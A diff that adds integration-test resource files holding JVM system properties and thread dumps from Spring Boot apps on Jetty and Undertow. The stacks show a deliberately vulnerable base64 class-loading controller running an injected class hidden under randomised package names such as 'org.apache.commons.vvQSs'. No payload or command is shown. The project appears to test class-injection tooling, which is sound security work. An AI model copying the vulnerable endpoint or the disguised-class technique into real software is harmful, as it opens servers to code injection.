org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"qtp1890187342-15" #15 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:543) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.produceTask(EatWhatYouKill.java:362) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:186) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131) + at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"Session-HouseKeeper-3a079870-1" #23 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1e903a0e + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"qtp1890187342-19-acceptor-0@45a14536-ServerConnector@516be40f{HTTP/1.1, (http/1.1)}{0.0.0.0:8080}" #19 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at org.eclipse.jetty.server.ServerConnector.accept(ServerConnector.java:388) + at org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:704) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"qtp1890187342-14" #14 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.commons.vvQSs.ErrorHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot2.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:20) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:909) + at javax.servlet.http.HttpServlet.service(HttpServlet.java:517) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883) + at javax.servlet.http.HttpServlet.service(HttpServlet.java:584) + at org.eclipse.jetty.servlet.ServletHolder.handle(ServletHolder.java:799) + at org.eclipse.jetty.servlet.ServletHandler$ChainEnd.doFilter(ServletHandler.java:1656) + at org.eclipse.jetty.websocket.server.WebSocketUpgradeFilter.doFilter(WebSocketUpgradeFilter.java:292) + at org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:193) + at org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1626) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) + at org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:193) + at org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1626) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) + at org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:193) + at org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1626) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) + at org.eclipse.jetty.servlet.FilterHolder.doFilter(FilterHolder.java:193) + at org.eclipse.jetty.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1626) + at org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:552) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143) + at org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:600) + at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127) + at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:235) + at org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:1624) + at org.eclipse.jetty.server.handler.ScopedHandler.nextHandle(ScopedHandler.java:233) + at org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1440) + at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:188) + at org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:505) + at org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:1594) + at org.eclipse.jetty.server.handler.ScopedHandler.nextScope(ScopedHandler.java:186) + at org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1355) + at org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141) + at org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:127) + at org.eclipse.jetty.server.Server.handle(Server.java:516) + at org.eclipse.jetty.server.HttpChannel.lambda$handle$1(HttpChannel.java:487) + at org.eclipse.jetty.server.HttpChannel$$Lambda$542/881127721.dispatch(Unknown Source) + at org.eclipse.jetty.server.HttpChannel.dispatch(HttpChannel.java:732) + at org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:479) + at org.eclipse.jetty.server.HttpConnection.onFillable(HttpConnection.java:277) + at org.eclipse.jetty.io.AbstractConnection$ReadCallback.succeeded(AbstractConnection.java:311) + at org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105) + at org.eclipse.jetty.io.ChannelEndPoint$1.run(ChannelEndPoint.java:104) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.runTask(EatWhatYouKill.java:338) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:315) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.produce(EatWhatYouKill.java:137) + at org.eclipse.jetty.io.ManagedSelector$$Lambda$515/530737374.run(Unknown Source) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"qtp1890187342-21" #21 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:543) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.produceTask(EatWhatYouKill.java:362) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:186) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131) + at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"Connector-Scheduler-516be40f-1" #25 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@19de6420 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"DestroyJavaVM" #24 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@2fc4c3b6 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"qtp1890187342-16" #16 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:543) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.produceTask(EatWhatYouKill.java:362) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:186) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.produce(EatWhatYouKill.java:137) + at org.eclipse.jetty.io.ManagedSelector$$Lambda$515/530737374.run(Unknown Source) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"qtp1890187342-18" #18 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6160c329 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.reservedWait(ReservedThreadExecutor.java:324) + at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:399) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"qtp1890187342-26" #26 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:606) + at org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:543) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.produceTask(EatWhatYouKill.java:362) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.doProduce(EatWhatYouKill.java:186) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.tryProduce(EatWhatYouKill.java:173) + at org.eclipse.jetty.util.thread.strategy.EatWhatYouKill.run(EatWhatYouKill.java:131) + at org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:409) + at org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:883) + at org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1034) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@7ebfc541 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot2.controller.Base64ClassLoaderController +org.apache.commons.vvQSs.ErrorHandler +org.eclipse.jetty.io.AbstractConnection$ReadCallback +org.eclipse.jetty.io.ChannelEndPoint$1 +org.eclipse.jetty.io.FillInterest +org.eclipse.jetty.io.ManagedSelector +org.eclipse.jetty.io.ManagedSelector$$Lambda$515/530737374 +org.eclipse.jetty.io.ManagedSelector$SelectorProducer +org.eclipse.jetty.security.SecurityHandler +org.eclipse.jetty.server.AbstractConnector$Acceptor +org.eclipse.jetty.server.HttpChannel +org.eclipse.jetty.server.HttpChannel$$Lambda$542/881127721 +org.eclipse.jetty.server.HttpConnection +org.eclipse.jetty.server.Server +org.eclipse.jetty.server.ServerConnector +org.eclipse.jetty.server.handler.ContextHandler +org.eclipse.jetty.server.handler.HandlerWrapper +org.eclipse.jetty.server.handler.ScopedHandler +org.eclipse.jetty.server.session.SessionHandler +org.eclipse.jetty.servlet.FilterHolder +org.eclipse.jetty.servlet.ServletHandler +org.eclipse.jetty.servlet.ServletHandler$Chain +org.eclipse.jetty.servlet.ServletHandler$ChainEnd +org.eclipse.jetty.servlet.ServletHolder +org.eclipse.jetty.util.BlockingArrayQueue +org.eclipse.jetty.util.thread.QueuedThreadPool +org.eclipse.jetty.util.thread.QueuedThreadPool$Runner +org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread +org.eclipse.jetty.util.thread.strategy.EatWhatYouKill +org.eclipse.jetty.websocket.server.WebSocketUpgradeFilter +org.springframework.web.filter.CharacterEncodingFilter +org.springframework.web.filter.FormContentFilter +org.springframework.web.filter.OncePerRequestFilter +org.springframework.web.filter.RequestContextFilter +org.springframework.web.method.support.InvocableHandlerMethod +org.springframework.web.servlet.DispatcherServlet +org.springframework.web.servlet.FrameworkServlet +org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter +org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter +org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod diff --git a/integration-test/src/test/resources/infos/SpringBoot2UndertowContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/SpringBoot2UndertowContainerTestBasicInfo.txt new file mode 100644 index 00000000..8a7c99f2 --- /dev/null +++ b/integration-test/src/test/resources/infos/SpringBoot2UndertowContainerTestBasicInfo.txt @@ -0,0 +1,326 @@ +# Generated At 2025-08-10 15:00:34 +SystemProps: +java.runtime.name: OpenJDK Runtime Environment +java.protocol.handler.pkgs: org.springframework.boot.loader +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +java.vm.version: 25.342-b07 +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +java.vm.name: OpenJDK 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +PID: 7 +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /app +java.runtime.version: 1.8.0_342-b07 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/local/openjdk-8/jre/lib/endorsed +os.arch: aarch64 +CONSOLE_LOG_CHARSET: UTF-8 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +os.name: Linux +FILE_LOG_CHARSET: UTF-8 +sun.jnu.encoding: UTF-8 +spring.beaninfo.ignore: true +java.library.path: /usr/java/packages/lib/aarch64:/lib:/usr/lib +sun.nio.ch.bugLevel: +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +user.timezone: Etc/UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.8 +java.class.path: app.jar +user.name: root +java.vm.specification.version: 1.8 +sun.java.command: app.jar +java.home: /usr/local/openjdk-8/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.8.0_342 +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +java.awt.headless: true +java.vendor: Oracle Corporation +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"XNIO-1 task-2" #28 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.junit.VWThO.ErrorHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot2.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:20) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:205) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:150) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:117) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:895) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:808) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1071) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:964) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:909) + at javax.servlet.http.HttpServlet.service(HttpServlet.java:517) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883) + at javax.servlet.http.HttpServlet.service(HttpServlet.java:584) + at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:74) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:129) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:61) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:61) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:117) + at io.undertow.servlet.core.ManagedFilter.doFilter(ManagedFilter.java:61) + at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:131) + at io.undertow.servlet.handlers.FilterHandler.handleRequest(FilterHandler.java:84) + at io.undertow.servlet.handlers.security.ServletSecurityRoleHandler.handleRequest(ServletSecurityRoleHandler.java:62) + at io.undertow.servlet.handlers.ServletChain$1.handleRequest(ServletChain.java:68) + at io.undertow.servlet.handlers.ServletDispatchingHandler.handleRequest(ServletDispatchingHandler.java:36) + at io.undertow.servlet.handlers.RedirectDirHandler.handleRequest(RedirectDirHandler.java:68) + at io.undertow.servlet.handlers.security.SSLInformationAssociationHandler.handleRequest(SSLInformationAssociationHandler.java:117) + at io.undertow.servlet.handlers.security.ServletAuthenticationCallHandler.handleRequest(ServletAuthenticationCallHandler.java:57) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.security.handlers.AbstractConfidentialityHandler.handleRequest(AbstractConfidentialityHandler.java:46) + at io.undertow.servlet.handlers.security.ServletConfidentialityConstraintHandler.handleRequest(ServletConfidentialityConstraintHandler.java:64) + at io.undertow.security.handlers.AuthenticationMechanismsHandler.handleRequest(AuthenticationMechanismsHandler.java:60) + at io.undertow.servlet.handlers.security.CachedAuthenticatedSessionHandler.handleRequest(CachedAuthenticatedSessionHandler.java:77) + at io.undertow.security.handlers.AbstractSecurityContextAssociationHandler.handleRequest(AbstractSecurityContextAssociationHandler.java:43) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.SendErrorPageHandler.handleRequest(SendErrorPageHandler.java:52) + at io.undertow.server.handlers.PredicateHandler.handleRequest(PredicateHandler.java:43) + at io.undertow.servlet.handlers.ServletInitialHandler.handleFirstRequest(ServletInitialHandler.java:275) + at io.undertow.servlet.handlers.ServletInitialHandler.access$100(ServletInitialHandler.java:79) + at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:134) + at io.undertow.servlet.handlers.ServletInitialHandler$2.call(ServletInitialHandler.java:131) + at io.undertow.servlet.core.ServletRequestContextThreadSetupAction$1.call(ServletRequestContextThreadSetupAction.java:48) + at io.undertow.servlet.core.ContextClassLoaderSetupAction$1.call(ContextClassLoaderSetupAction.java:43) + at io.undertow.servlet.handlers.ServletInitialHandler.dispatchRequest(ServletInitialHandler.java:255) + at io.undertow.servlet.handlers.ServletInitialHandler.access$000(ServletInitialHandler.java:79) + at io.undertow.servlet.handlers.ServletInitialHandler$1.handleRequest(ServletInitialHandler.java:100) + at io.undertow.server.Connectors.executeRootHandler(Connectors.java:387) + at io.undertow.server.HttpServerExchange$1.run(HttpServerExchange.java:852) + at org.jboss.threads.ContextClassLoaderSavingRunnable.run(ContextClassLoaderSavingRunnable.java:35) + at org.jboss.threads.EnhancedQueueExecutor.safeRun(EnhancedQueueExecutor.java:2019) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.doRunTask(EnhancedQueueExecutor.java:1558) + at org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1449) + at org.xnio.XnioWorker$WorkerThreadFactory$1$1.run(XnioWorker.java:1282) + at java.lang.Thread.run(Thread.java:750) + +"XNIO-1 I/O-7" #20 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"XNIO-1 I/O-9" #22 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"XNIO-1 I/O-5" #18 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at 